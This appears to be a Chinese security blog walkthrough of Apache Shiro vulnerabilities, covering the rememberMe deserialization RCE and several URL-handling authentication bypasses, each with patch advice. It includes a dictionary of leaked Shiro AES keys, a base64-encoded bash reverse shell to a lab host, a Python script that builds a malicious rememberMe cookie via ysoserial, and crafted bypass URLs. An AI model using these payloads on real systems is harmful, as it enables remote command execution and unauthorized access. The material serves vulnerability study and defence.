前言

shiro框架是Apache提供的一个安全框架(Java常用),该框架可以被很多的语言使用,广泛运用在各种应用系统中(大多为单体项目认证授权,微服务架构项目使用分布式部署可能不太适合)。shiro具有认证、授权、加密和会话管理等功能。

正文

shiro的四个主要功能简介

  1. Anthentication认证,验证用户是否有相应的身份-登录认证;

  2. Authorization授权,即权限验证;对已经通过认证的用户检查是否具有某个权限或者角色,从而控制是否能够进行某种操作;

  3. SessionManagment会话管理,用户在认证成功之后创建会话,在没有退出之前,当前用户的所有信息都会保存在这个会话中;可以是普通的JavaSE应用,也可以是web应用;

  4. Cryptography加密,对敏感信息进行加密处理,shiro就提供这种加密机制;

支持的特性:

  • oiebSupport-Shiro提供了过滤器,可以通过过滤器拦截web请求来处理web应用的访问控制
  • Caching缓存支持,shiro可以缓存用户信息以及用户的角色权限信息,可以提高执行效率
  • Concurrencyshiro支持多线程应用
  • Testing提供测试支持
  • RunAs允许一个用户以另一种身份去访问
  • RemeberMe(漏洞点之一)
    说明:Shiro是一个安全框架,不提供用户、权限的维护(用户的权限管理需要我们自己去设计)

Shiro框架指纹识别

在请求包的Cookie中为rememberMe字段赋任意值,收到返回包的Set-Cookie中存在rememberMe=deleteMe字段,说明目标有可能使用Shiro框架,可以进一步测试。

(CVE-2016-4437)ApacheShiro1.2.4反序列化漏洞

漏洞原理

因为RemeberMe功能的存在下次访问时无需再登录就可访问,默认使用CookieRememberMeManager,登录时勾选rememberme序列化保存登录信息到cookie

1
2
3
4
5
Cookie过程:
序列化=>AES加密=>base64编码=>写入Cookie
随后在服务器端会相反的进行base64解码=>AES解密=>反序列化
AES加密为对称加密,加密解密需要同一个密钥,重点就是AES密钥的获取
其中1.2.4默认密钥kPH+bIxk5D2deZiIxcaaaA==

在这个过程中,我们发现AES密钥非常关键,但密钥被硬编码到了代码中,也就是说加密密钥Key编码在源码内。只要可以拿到源代码就可以拿到这个Key,只要得到默认的key,就可以被利用构造任意cookie,从而进行shiro的反序列化攻击。但是在Shiro1.2.5以上,官方已经修复了这个漏洞,已经拿不到KEY了。因此,在得到key的情况下攻击者可以构造一个恶意对象,并且进行序列化=>AES加密=>base64编码后,作为cookie中rememberMe字段进行发送,Shiro将收到的rememberMe字段进行base64解码=>AES解密=>反序列化后,最终执行了一个恶意代码指令,在目标服务器上执行任意命令造成反序列化RCE漏洞。注意,前提是需要有合法用户,为什么需要RememberMecookie是因为Shiro会先获取用户信息,当存在有效的用户信息时才会进入下一阶段的流程。
通过上面的知识知道要利用这个漏洞必须构造出一个可以让服务器反序列化的恶意对象。

  • 影响版本ApacheShiro<=1.2.4
  • 漏洞利用条件
  • 已知ShiroAES解密密钥。
  • 开启RememberMe功能。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
一些收集到的key字典:
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==

复现过程

输入正确的账号密码,并选择“记住我”

使用bp抓取数据包,查看包内容,可以看到cookie里的rememberme

使用nc监听本地的1234端口,最终shell会反弹到这个端口

编码一下反弹shell的命令

1
2
3
4
5
6
7
bash-i>&/dev/tcp/192.168.1.6/12340>&1

-i参数生成交互式shell
>&把标准输入和标准输出重定向到socket
/dev/tcp/192.168.1.6/1234表示bash会对/dev/tcp特殊处理,代表了一个tcpsocket
0>&1将标准输入重定向到标准输出
编码后:bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

注:为什么要对反弹shell进行编码?
在exec()函数中,”>”管道符是没有意义的,会被解析为其他的意义,而我们的反弹shell命令中又必须使用,所以需要编码。
另外,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西ls”MyDirectory”将被解释为ls’”My’’Directory”‘,空格会失效

使用ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令

使用py脚本生成rememberMe值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#shiro.py
importsys
importuuid
importbase64
importsubprocess
fromCrypto.CipherimportAES
defencode_rememberme(command):
popen=subprocess.Popen(['java','-jar','ysoserial-sleep.jar','JRMPClient',command],stdout=subprocess.PIPE)
BS=AES.block_size
pad=lambdas:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")//已知的key
iv=uuid.uuid4().bytes
encryptor=AES.new(key,AES.MODE_CBC,iv)
file_body=pad(popen.stdout.read())
base64_ciphertext=base64.b64encode(iv+encryptor.encrypt(file_body))
returnbase64_ciphertext
if__name__=='__main__':
payload=encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

将生成的rememberMe值替换原来的值,放包即可

反弹shell成功

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2020-1957)Apacheshiro<1.5.2权限绕过漏洞

在SpringBoot中使用ApacheShiro进行身份验证、权限控制时,攻击者构造一个特殊的http请求,利用ApacheShiro拦截器和SpringBoot对URL(requestURI)的处理的差异化,可以绕过ApacheShiro对SpringBoot中的Servlet的权限控制,绕过Shiro的认证,可以未授权访问敏感路径。

小知识

Shiro框架通过拦截器功能来实现对用户访问权限的控制和拦截。Shiro中常见的拦截器有anonauthc等拦截器。

  • anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口
  • authc为登录拦截器,一般是需要登录认证才能访问的资源。

用户可以在Shiro.ini编写匹配URL配置,对匹配的URL将进行拦截检查,这样就能实现对URL的访问控制,提高资源访问的安全性。例如,访问/index.html主页的时候,Shiro将不会对其进行登录判断,因为这是一个需要让访问者能够访问的静态页面,交给anon拦截器处理,此项资源不需要登录就能进行访问。而对于/user/1,/user/2,/user/3,/admin/*等资源接口,authc拦截器将会对其进行登录判断,只有登录认证才能访问资源,目的是保证操作的合法性。

1
2
3
4
5
6
7
8
9
10
在shiro.ini配置文件中,可以这样配置:
[urls]
/index.html = anon
/user/** = authc
/admin/** = authc
知识补充:
Shiro的URL路径表达式为ANT格式,路径通配符支持?,*,**
?:代表匹配一个字符
*:代表匹配零个或多个字符串
**:代表匹配路径中的零个或多个路径

其中*表示匹配零个或多个字符串,/*可以匹配/hello,但匹配不到/hello/因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello形式和/hello/形式的URL访问的资源是一样的。

URL路径 说明
/app/*.x 匹配(Matches)所有在app路径下的.x文件
/app/p?ttern 匹配(Matches)/app/pattern和/app/pXttern,但是不包括/app/pttern
/**/example 匹配(Matches)/app/example,/app/foo/example,和/example
/app/**/dir/file.* 匹配(Matches)/app/dir/file.jsp,/app/foo/dir/file.html,/app/foo/bar/dir/file.pdf,和/app/dir/file.java
/**/*.jsp 匹配(Matches)任何的.jsp文件

属性:
最长匹配原则(hasmorecharacters)
说明,URL请求/app/dir/file.jsp,现在存在两个路径匹配模式/**/*.jsp和/app/dir/*.jsp,那么会根据模式/app/dir/*.jsp来匹配

复现过程

shiro<1.5.0版本权限绕过

环境:https://github.com/lenve/javaboy-code-samples/tree/master/shiro/shiro-basic
将源码导入javaIDEA中

首先在pom.xml文件可以看到shiro的版本,把版本修改成1.5.0以下,也可以不修改。

来到main目录下ShiroConfig.java文件进行修改,将原来的拦截正则修改,添加authc的拦截正则。

1
map.put("/hello/*","authc");//访问/hello及以下目录都将由authc进行校验

来到LoginController.java文件,在这里修改路由控制器方法,我们选择添加一个方法,同时需要刷新一下Maven。

1
2
3
4
5
6
7
8
9
10
11
importorg.springframework.web.bind.annotation.PathVariable;//引入方法

//方法的具体实现
@GetMapping("/hello/{currentPage}")

publicStringhello(@PathVariableIntegercurrentPage){

return"hello";

}
//访问成功后返回hello资源内容

运行ShiroBasicApplication.java文件

访问http://your-ip:8080/login,显示提示登录

抓包重放查看

现在修改请求的URL,尝试正常访问需要鉴权的资源,显示是无法访问的

那么我们构造一下,在该资源的URL尾部添加/

资源已经能够正常访问了,绕过了shiro的验证
当我们通过敏感路径扫描后,获取到无权限访问的敏感路径,再构造这样的路径末尾携带/URL将造成未授权访问。

源码理解

我们输入的URL首先进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver的getChain方法中,被获取请求uri路径,随后触发pathMatches方法进行下一步匹配

pathPattern=/hello/*,requestURI=/hello/1/

后面最终会调用core.src.main.java.org.apache.shiro.util.AntPathMatcher类中的doMatch方法进行传入的requestURI与拦截器表达式进行匹配

但是,在上面已经提到*表示匹配零个或多个字符串,/*可以匹配/hello,但匹配不到/hello/因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。所以如果Shiro拦截器表达式不以/结尾,且requestURI以/结尾,判断代码将返回false表示匹配失败,从而绕过Shiro认证。随后进入web框架的spring验证。

而spring的拦截器在在检测拦截器表达式与requestURI结尾是否为/之后,并没有直接返回false。而是将拦截器表达式结尾添加/,这时拦截器表达式就和我们构造的URL请求一致,所以spring显示匹配成功返回true,放行。

准确来说该身份验证绕过漏洞是spring+shiro组合的漏洞,构造的请求要绕过shiro拦截器,还要绕过spring拦截器。但是这个漏洞在shiro-1.5.0版本中被修复了

建议修复方式安装修补补丁或者更新到最新版。

shiro<1.5.2版本权限绕过

上面提到shiro-1.5.0的修复,其实在1.5.2以前的版本验证方式都差不多,所以归类为<1.5.2的漏洞。
1.5.0的修复后效果:代码修复方式是通过判断requestURI是否以/为结尾,如果以/结尾的话,则去掉尾部的/符号再与shiro拦截器表达式进行比较。
当requestURI为/hello/1/等以/为结尾的URI的时候,都会被清除最后的/号,再进行URL路径匹配。

简单说一下本此版本的漏洞形成原因:
Shiro1.5.0-1.5.1版本在对requestURI的处理是这样的,以分号将传入的URI进行截断,并将分号以及分号后面的数据进行清空,返回分号前面的URI数据,从而让/abc/..;/admin/变为/abc/..,因为不存在/admin/**所以绕过shiro检验进入spring检验。

但是,Spring对分号处理的方式与Shiro不同,Spring会先获取分号的位置,并检测分号后是否存在/,如果有,将/的位置记录在slashIndex变量中,并将分号前的数据与/之后的数据进行拼接,从而让/abc/..;/admin/变为/abc/../admin/。随后处理,取有效正常路径等待,然后返回处理后的requestURI(此时为/admin/)进行匹配,放行,访问成功。

同样还是利用了spring+shiro组合中,两者对URL处理方式不同来实现绕过。

在后来的Shiro1.5.2版本中,在进行decodeAndCleanUriString方法之前会先进行URI解析,调用request.getServletPath()和request.getPathInfo()获取ServletPath和PathInfo并进行路径拼接,避开了spring的decodeAndCleanUriString对于分号的处理,从而修复了此漏洞。

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2020-11989)Apacheshiro<1.5.3权限绕过漏洞

此漏洞和CVE-2020-1957类似,都是因为shiro和spring对URL的处理不一致导致的。但是要求对admin资源的匹配符号为*不能是**

1
2
3
4
5
6
7
8
 map.put("/doLogin", "anon");
map.put("/admin/*", "authc");


@GetMapping("/admin/1")
public String admin() {
return "admin";
}

测试项目部署于Tomcat。该漏洞成功利用存在下面两个条件:

  1. 项目不能部署在根目录,也就是需要 context-path,设置server.servlet.context-path=/app,如果为根目录则context-path为空,就会被CVE-2020-1957的patch将URL格式化,值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。
  2. Spring控制器中没有另外的权限校验代码

简单解释漏洞****:

首先有两种攻击方式:

第一种
获取到无权限访问的敏感路径,在authc认证路径后添加%25%32%66(就是将/进行两次URL编码)进行身份验证绕过。

第二种
获取到无权限访问的敏感路径,在路径的头部添加/;/进行身份验证绕过。

  • 在Shiro1.5.2版本中,对于requestURI处理的方式存在一些不同,对URL进行两次解码,此处也是漏洞触发点所在。Shiro1.5.2使用的是request.getContextPath(),request.getServletPath(),request.getPathInfo()拼接的方式。

    1
    2
    3
    4
    5
    request.getRequestURL():返回全路径;
    request.getRequestURI():返回除去Host部分的路径;
    request.getContextPath():返回工程名部分,如果工程映射为/,则返回为空;
    request.getServletPath():返回除去Host和工程名部分的路径;
    request.getPathInfo():仅返回传递到Servlet的路径,如果没有传递额外的路径信息,则此返回Null;

    假设我们构造URL为/admin/a%25%32%66a由于getServletPath()方法会对requestURI进行一次url解码,在之后的decodeAndCleanUriString方法中进行第二次url解码,所以shiro检测的是/admin/a/a,不在匹配范围内,放行进入到spring boot 。Spring是怎么对其进行解析的,在org.s-pringframework.web.uti.UrlPathHelper#getPathWithinApplication中,将url解析为/toJsonList/a%2fa,还没解码完的URL被当做{name}了,这样其实就表示/admin/{name}中的name值为a%2fa,符合匹配规则,放行。
    解释一下就是/** 之类的路径匹配配置,匹配路径下的全部访问请求,包括子目录及后面的请求,如:/admin/** 可以匹配 /admin/a 或者 /admin/b/c/d 等请求。

    对于/*的话 ,单个不能跨目录,只能在两个/之间匹配任意数量的字符,如/admin/* 可以匹配 /admin/a 但是不能匹配 /admin/b/c/d。

    所以如果我们将其配置为/admin/*,但是我们访问形如admin/a/b这种路径,此时就会绕过访问权限。

  • 我们访问 /;/app/admin/1,最终将成功访问到/app/admin/1这个需要验证身份的资源。利用CVE-2020-1957漏洞原理,shiro以分号截断,所以会将/拿去检验,放行,进入spring,而spring则会截断reqeustURI中分号后的数据,并返回,最终变成选取正确访问路径访问

    当 URL 进入到 Tomcat 时, Tomcat 判断 /;/app/admin/1 为 app 下的 /admin/page 路由,进入到 Shiro 时被 ; 截断被认作为 / ,不再检验,再进入 Spring 时又被正确处理为正常路径app下的 /admin/1 路由,最后导致 Shiro 的权限绕过。

    建议修复方式安装修补补丁或者更新到最新版。

(CVE-2020-13933)Apacheshiro<1.6.0权限绕过漏洞

漏洞简介:Apahce Shiro 由于处理身份验证请求时出错 存在 权限绕过漏洞,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问
条件:ant风格的路径为*,而**无法绕过。

1
2
3
4
5
6
 map.put("/doLogin", "anon");
map.put("/admin/*", "authc");
@GetMapping("/admin/1")
public String admin() {
return "admin";
}

当我们访问/admin/1时会被重定向到login页面,但是访问/admin/%3b1时就可以访问到资源。

shiro 方面:
getServletPath方法将%3b进行了解码,返回/admin/;1,接着调用removeSemicolon,该方法查找;,并将;及其之后的部分删除,于是返回/admin/,此时shiro拦截器配置*,因为/admin/和/admin/* 不匹配,所以导致shiro验证绕过,后面直接放行了

spring方面:
spring对URL解码后返回/admin/;1,之后进行路径的匹配,最终匹配到正确可访问的路径

在1.6.0版本中,shiro加入了默认/**匹配的配置,防止遗漏

(CVE-2020-17510)Apacheshiro<1.7.0权限绕过漏洞

本漏洞还是对AntPathMatcher的绕过,在前面CVE-2020-11989和CVE-2020-13933分别尝试了/的双重URL编码和 ; 的URL编码绕过,抓住Shiro与Spring对URI处理的差异化导致的构造的URL能突破过滤,访问需要验证的资源。

CVE-2020-17510使用.进行绕过

1
2
3
4
5
6
shiro拦截器部分配置:
map.put("/admin/*", "authc");
@GetMapping("/admin/{name}")//路由
public String admin(@PathVariable String name) {
return "admin page";
}

假设URL访问/admin/%2e当Shiro去除/和其后面字符获得的URI为/admin时,是无法和/hello/*匹配的,所以就在/admin后面加上%2e,这样Shiro解码之后变成/admin/.,然后路径标准化成为/admin,放行,这样就绕过身份验证了
随后进入spring,当Spring Boot版本在小于等于2.3.0.RELEASE的情况下, alwaysUseFullPath 为默认值false,这会使得其获取ServletPath,所以在路由匹配时相当于会进行路径标准化包括对 %2e 解码以及处理跨目录,这可能导致身份验证绕过。而反过来由于高版本将 alwaysUseFullPath 自动配置成了true从而开启全路径,又可能导致一些安全问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
在低版本spring boot下:
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0

//因为%2e%2e造成跨目录访问成功。低版本对路径标准化包括对解码以及处理跨目录即如果存在则返回上一级目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
在高版本spring boot下:
$ curl -v http://127.0.0.1:8080/admin/%2e
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0
//与CVE-2020-17510配合,造成未授权资源的访问

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2020-17523)Apacheshiro<1.7.1权限绕过漏洞

本漏洞使用编码空格的方式可以绕过验证。

1
2
3
4
5
6
shiro拦截器部分配置:
map.put("/admin/*", "authc");
@GetMapping("/admin/{name}")//路由
public String admin(@PathVariable String name) {
return "admin page";
}

如果我们访问/admin/1,会提示登录,但是访问/admin/%20就可以访问到资源
Shiro的校验uri的函数为PathMatches,当PathMatches返回true时才会进入鉴权。而在trim()函数去掉了空格,导致PathMatches("/admin/*","/admin/ ") 匹配失败返回了 false,直接就是没有进行鉴权操作,shiro放行。而spring则可以访问正常

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2021-41303)Apacheshiro<1.8.0权限绕过漏洞

本漏洞通过对uri尾部添加/进行绕过

shiro在1.7.1的时候,对URI的处理是这样的,先是对pathPattern和requestURI进行比较,如果比较成功,返回:

1
filterChainManager.proxy(originalChain, pathPattern);

如果不成功则对删除尾部斜线的pathPattern和requestURI进行比较,比较成功,跳出循环,返回:

1
filterChainManager.proxy(originalChain, requestURINoTrailingSlash);

shiro鉴权是会按顺序进行匹配的,如果有以下配置

1
2
3
4
5
6
 map.put("/admin/*", "authc");
map.put("/admin/page", "anon");
@GetMapping("/admin/{name}")
public String admin() {
return "admin";
}

总的说我们访问/admin/page/,先与/admin/*匹配不成功,然后对URL去掉末尾斜杠之后再一次回到拦截器进行/admin/page的匹配,匹配成功”anon”,绕过成功。

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2022-32532)Apacheshiro<1.9.1权限绕过漏洞

shiro官方披露:RegexRequestMatcher 可能会被错误地配置为在某些 servlet 容器上被绕过。在正则表达式中使用带有“.”的 RegExPatternMatcher 的应用程序可能容易受到授权绕过的攻击。该漏洞的利用所需的条件是不易达到的用户配置。在Shiro源码中的一个类:RegExPatternMatcher ,这个类的Pattern存在带.的正则表达式匹配,而在java中的正则默认情况下.是不会包含\n\r字符的,也就是在正则表达式中元字符.是匹配除换行符(\n\r)之外的任何单个字符的,因此在一些场景中,使用正则.的规则就有可能被绕过。

环境:
配置了/permit/{value}这样从路径取参数的路由
配置了/permit/*这样的通配路由

1
2
3
4
5
6
7
8
9
10
11
@RestController
public class DemoController {
@RequestMapping(path = "/permit/{value}")
public String permit(@PathVariable String value) {
return "success";
}
@RequestMapping(path = "/permit/*")
public String permit() {
return "success";
}
}

配置的目的是拦截/permit/下的所有访问。
正如分析所示,直接访问/permit/any会被拦截

构造换行符进行漏洞利用绕过

1
换行(回车):%0a或%0d

当访问/permit/a%0any/permit/a%0dny时,返回success,即认证成功。

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2022-40664)Apacheshiro<1.10.0权限绕过漏洞

该漏洞shiro官方是这么描述的: Apache Shiro低于1.10.0,通过RequestDispatcher转发或包含时Shiro中的身份验证绕过漏洞。
分析Github上的shiro官方仓库中的commit,来查看1.10.0版本与上一版本的代码变更情况:GitHub-Commit-Shiro

在更新代码的注释中有:

1
2
3
4
5
*设置过滤器是每次请求执行一次,还是每次调用过滤器时执行一次。建议使用
*如果您正在使用{@link javax.servlet.RequestDispatcher RequestDisputcher}转发,请保持禁用状态
*或包含请求(JSP标记、编程方式或通过框架)。
*@param filterOncePerRequest此筛选器是否每个请求执行一次。

可以看出此次更新禁用了javax.servlet.RequestDispatcher RequestDisputcher(Java请求转发功能),不难理解本漏洞是Java请求转发绕过了Shiro的过滤器,从而达到身份绕过!

RequestDispatcher定义了两个方法分别为forward和include:
在shiro1.10.0在spring项目中是默认不拦截forward和include方法的,而在新版本中新增加了ShiroFilterConfiguration类,可以通过这个类来设置外部的过滤器来禁用forward和include方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
spring中的controller接口配置:
@Controller
以下使用forward函数进行接口的转发
public class ShiroVulncontroller {
@PostMapping("/shiro/authPassVuln")
public String authPassoLnTest(@RequestParam String str, HttpServletRequest request,HttpServletResponse response){
System.out.println("*********身份验证绕过成功*********");
return "forward:/shiro/authNoPass";

以下不使用转发,会被拦截检测
@PostMapping("/shiro/authNoPassVuln")
public String authPassNovuLnTest(@RequestParam String str, HttpServletRequest request,HttpServletResponse response){
system.out.println("*****身份验证绕过失败********");
return "authNoPass";

第一种方式会绕过shiro检测访问成功,而第二种则会访问失败

建议修复方式安装修补补丁或者更新到最新版。

(CVE-2023-22602)Apacheshiro < 1.11.0 & Spring Boot 2.6+ 鉴权绕过权限绕过漏洞

该漏洞官方是这么描述的:将 1.11.0 之前的 Apache Shiro 与 Spring Boot 2.6+ 一起使用时,巧尽心思构建的 HTTP 请求可能会导致身份验证绕过。当 Shiro 和 Spring Boot 使用不同的模式匹配技术时,会发生身份验证绕过。

意思就是shiro 在 1.11.0版本之前,当与spring boot 2.6以上版本组合使用的时候,在默认配置下,配合特定的路由规则,攻击者可以通过发送特殊的请求造成shiro中的鉴权绕过。

Shiro和Spring Boot < 2.6 都默认为 Ant 样式模式匹配。缓解措施:更新到 Apache Shiro 1.11.0,或设置以下 Spring 引导配置值:“spring.mvc.pathmatch.matching-strategy = ant_path_matcher”

首先,了解一下spring+shiro对请求的大致处理过程:

在spring的两种路由匹配模式中,spring2.6+后,path_pattern_parser为默认配置。

1
2
ant_path_matcher中`?`匹配单个字符,`*`匹配单级目录,`**`匹配多级目录。
path_pattern_parser支持`{*name}`获取多级变量,并且`**`后面不能再有其他东西。

对于请求/a/../admin,shiro和ant_path_matcher得到的uri为/admin,而path_pattern_parser得到的应该是原值。

因为spring存在两种路由匹配模式,当spring中使用path_pattern_parser配置的时候,就会造成在shiro和spring中路由分发时候获取uri时的结果差异,这就可能造成对shiro的绕过。

1
2
3
4
5
6
shiro有以下配置:
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc");
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "roles[admin]");
chainDefinition.addPathDefinition("/guest/**", "roles[guest]");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring的controller有一以下配置:
@Controller
public class AccountInfoController {
@RequestMapping("/admin/**")
public String home(Model model) {
String name = "hello admin";
Subject subject = SecurityUtils.getSubject();
PrincipalCollection principalCollection = subject.getPrincipals();
if (principalCollection != null &amp;&amp; !principalCollection.isEmpty()) {
name = principalCollection.getPrimaryPrincipal().toString();
}
model.addAttribute("name", name);
return "account-info";
}

我们想要访问home,身份必须是admin,直接访问/admin肯定是不行的,但是我们上面知道shiro会解析...而spring不会,那么我们访问/admin/..,则会绕过shiro,到达spring匹配成功,访问到需要admin权限的资源。 shiro处理后得到的uri是/而已,等到了spring处理时得到的uri是/admin/**路由下的。

建议修复方式安装修补补丁或者更新到最新版。